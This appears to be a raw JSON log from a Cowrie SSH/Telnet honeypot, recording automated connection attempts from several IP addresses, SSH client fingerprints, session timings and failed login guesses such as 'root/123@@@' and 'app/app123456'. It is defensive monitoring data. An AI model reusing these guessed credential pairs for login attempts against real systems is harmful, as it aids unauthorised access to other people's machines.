{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:ed:be:be:3a:ea:c9:89:08:da:f9:01:d6:ef:b0:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4y4a6NH9skNBEbsy0070E6It3lqKrnU0ls1LdAITPunxpx69QtRPU1OqzsESo1rcJTK08n2on4ao8avgnvVo2GwsvEZJRGKSGzuDcDjnFbq7n9tp4HDFZtHIk7pljL7yM43B4wCyFe8W0bn4AmEjq+99uJQ/M48yvRadhmZTxHHFIqla4DxGcJ3ELeKjTxEwoQmcRfXRwHLZttQ0WDLpi0EphBviS9uFw0AO7nDlYWckztqI/stgAB1LnSAUCzYHhGYjpgPsUibe9YS2nQ2N1u3CbMVnlGGp84l29nCrW0dwWj6dWi8C8c4tDxLIqRiUVlYK1X2LbA98ZB1zQDuk+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:ed:be:be:3a:ea:c9:89:08:da:f9:01:d6:ef:b0:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.699883Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:ed:be:be:3a:ea:c9:89:08:da:f9:01:d6:ef:b0:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4y4a6NH9skNBEbsy0070E6It3lqKrnU0ls1LdAITPunxpx69QtRPU1OqzsESo1rcJTK08n2on4ao8avgnvVo2GwsvEZJRGKSGzuDcDjnFbq7n9tp4HDFZtHIk7pljL7yM43B4wCyFe8W0bn4AmEjq+99uJQ/M48yvRadhmZTxHHFIqla4DxGcJ3ELeKjTxEwoQmcRfXRwHLZttQ0WDLpi0EphBviS9uFw0AO7nDlYWckztqI/stgAB1LnSAUCzYHhGYjpgPsUibe9YS2nQ2N1u3CbMVnlGGp84l29nCrW0dwWj6dWi8C8c4tDxLIqRiUVlYK1X2LbA98ZB1zQDuk+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.705797Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:25.750010Z","src_ip":"199.127.60.187","session":"0b161496a5db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:26.391855Z","src_ip":"31.40.204.166","session":"298c3af0e22f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43840,"dst_ip":"10.17.0.5","dst_port":23,"session":"081c7fab8223","protocol":"telnet","message":"New connection: 152.42.224.71:43840 (10.17.0.5:23) [session: 081c7fab8223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:26.917053Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43856,"dst_ip":"10.17.0.5","dst_port":23,"session":"94a039252b67","protocol":"telnet","message":"New connection: 152.42.224.71:43856 (10.17.0.5:23) [session: 94a039252b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:29.164109Z"}
{"eventid":"cowrie.session.closed","duration":116.05242109298706,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:29.642444Z","src_ip":"152.42.224.71","session":"af5d14edf0ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43862,"dst_ip":"10.17.0.5","dst_port":23,"session":"b74fe294a934","protocol":"telnet","message":"New connection: 152.42.224.71:43862 (10.17.0.5:23) [session: b74fe294a934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:32.414551Z"}
{"eventid":"cowrie.session.closed","duration":120.00378561019897,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:35.422102Z","src_ip":"152.42.224.71","session":"f0ca305c52a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50844,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ab828a34861","protocol":"ssh","message":"New connection: 31.40.204.166:50844 (159.203.135.109:22) [session: 1ab828a34861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:36.805188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:36.810393Z","src_ip":"31.40.204.166","session":"1ab828a34861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:36.931755Z","src_ip":"31.40.204.166","session":"1ab828a34861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.71824622154236,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:37.314793Z","src_ip":"152.42.224.71","session":"730d8f62bb59","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:37.411620Z","src_ip":"31.40.204.166","session":"1ab828a34861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.44408369064331,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:37.907014Z","src_ip":"152.42.224.71","session":"e8717d2c7195","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:38.600572Z","src_ip":"31.40.204.166","session":"1ab828a34861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":40712,"dst_ip":"159.203.135.109","dst_port":22,"session":"72e4373c045b","protocol":"ssh","message":"New connection: 79.127.181.44:40712 (159.203.135.109:22) [session: 72e4373c045b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:38.915694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:39.114711Z","src_ip":"79.127.181.44","session":"72e4373c045b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:39.308307Z","src_ip":"79.127.181.44","session":"72e4373c045b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:39.315025Z","src_ip":"79.127.181.44","session":"72e4373c045b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38002,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb3568d526cd","protocol":"telnet","message":"New connection: 152.42.224.71:38002 (10.17.0.5:23) [session: eb3568d526cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:40.936859Z"}
{"eventid":"cowrie.session.closed","duration":35.70502185821533,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:45.779573Z","src_ip":"152.42.224.71","session":"fb85f83b58a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":113.11920118331909,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:48.480958Z","src_ip":"152.42.224.71","session":"0c84a21ab71b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34988,"dst_ip":"159.203.135.109","dst_port":22,"session":"60d6c6260b47","protocol":"ssh","message":"New connection: 31.40.204.166:34988 (159.203.135.109:22) [session: 60d6c6260b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:48.615090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:48.620039Z","src_ip":"31.40.204.166","session":"60d6c6260b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:48.793382Z","src_ip":"31.40.204.166","session":"60d6c6260b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"openclaw","message":"login attempt [openclaw/openclaw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:49.291559Z","src_ip":"31.40.204.166","session":"60d6c6260b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38058,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce166806429e","protocol":"telnet","message":"New connection: 152.42.224.71:38058 (10.17.0.5:23) [session: ce166806429e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:49.707847Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38070,"dst_ip":"10.17.0.5","dst_port":23,"session":"9609888ce0df","protocol":"telnet","message":"New connection: 152.42.224.71:38070 (10.17.0.5:23) [session: 9609888ce0df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:50.395477Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:50.501910Z","src_ip":"31.40.204.166","session":"60d6c6260b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38050,"dst_ip":"10.17.0.5","dst_port":23,"session":"6578b2d9e21d","protocol":"telnet","message":"New connection: 152.42.224.71:38050 (10.17.0.5:23) [session: 6578b2d9e21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:50:52.050843Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50682,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca16eefbe970","protocol":"ssh","message":"New connection: 31.40.204.166:50682 (159.203.135.109:22) [session: ca16eefbe970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:00.186186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:00.210785Z","src_ip":"31.40.204.166","session":"ca16eefbe970","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:00.316068Z","src_ip":"31.40.204.166","session":"ca16eefbe970","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":89.43760561943054,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:00.994061Z","src_ip":"152.42.224.71","session":"a546f81ef764","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123456","message":"login attempt [app/app123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:01.009349Z","src_ip":"31.40.204.166","session":"ca16eefbe970","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":40228,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e315ed9e8a5","protocol":"ssh","message":"New connection: 103.27.238.120:40228 (10.17.0.5:22) [session: 3e315ed9e8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:01.833578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:01.840780Z","src_ip":"103.27.238.120","session":"3e315ed9e8a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:02.119267Z","src_ip":"103.27.238.120","session":"3e315ed9e8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:02.197252Z","src_ip":"31.40.204.166","session":"ca16eefbe970","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p","message":"login attempt [root/p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:02.927892Z","src_ip":"103.27.238.120","session":"3e315ed9e8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.05305457115173,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:02.969956Z","src_ip":"152.42.224.71","session":"081c7fab8223","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60186,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bdd594c780d","protocol":"telnet","message":"New connection: 152.42.224.71:60186 (10.17.0.5:23) [session: 4bdd594c780d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:04.076313Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:04.198495Z","src_ip":"103.27.238.120","session":"3e315ed9e8a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.10875391960144,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:11.272732Z","src_ip":"152.42.224.71","session":"94a039252b67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":109.99699521064758,"message":"Connection lost after 109 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:11.658831Z","src_ip":"152.42.224.71","session":"57dc14a02892","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49624,"dst_ip":"159.203.135.109","dst_port":22,"session":"82abc107b046","protocol":"ssh","message":"New connection: 31.40.204.166:49624 (159.203.135.109:22) [session: 82abc107b046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:12.419460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:12.424984Z","src_ip":"31.40.204.166","session":"82abc107b046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:12.603794Z","src_ip":"31.40.204.166","session":"82abc107b046","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:13.019358Z","src_ip":"31.40.204.166","session":"82abc107b046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:14.205755Z","src_ip":"31.40.204.166","session":"82abc107b046","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.48966574668884,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:14.426435Z","src_ip":"152.42.224.71","session":"eb3568d526cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00471305847168,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:18.459759Z","src_ip":"152.42.224.71","session":"5fed5fb51032","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.556851148605347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:51:21.264596Z","src_ip":"152.42.224.71","session":"ce166806429e","protocol":"telnet"}
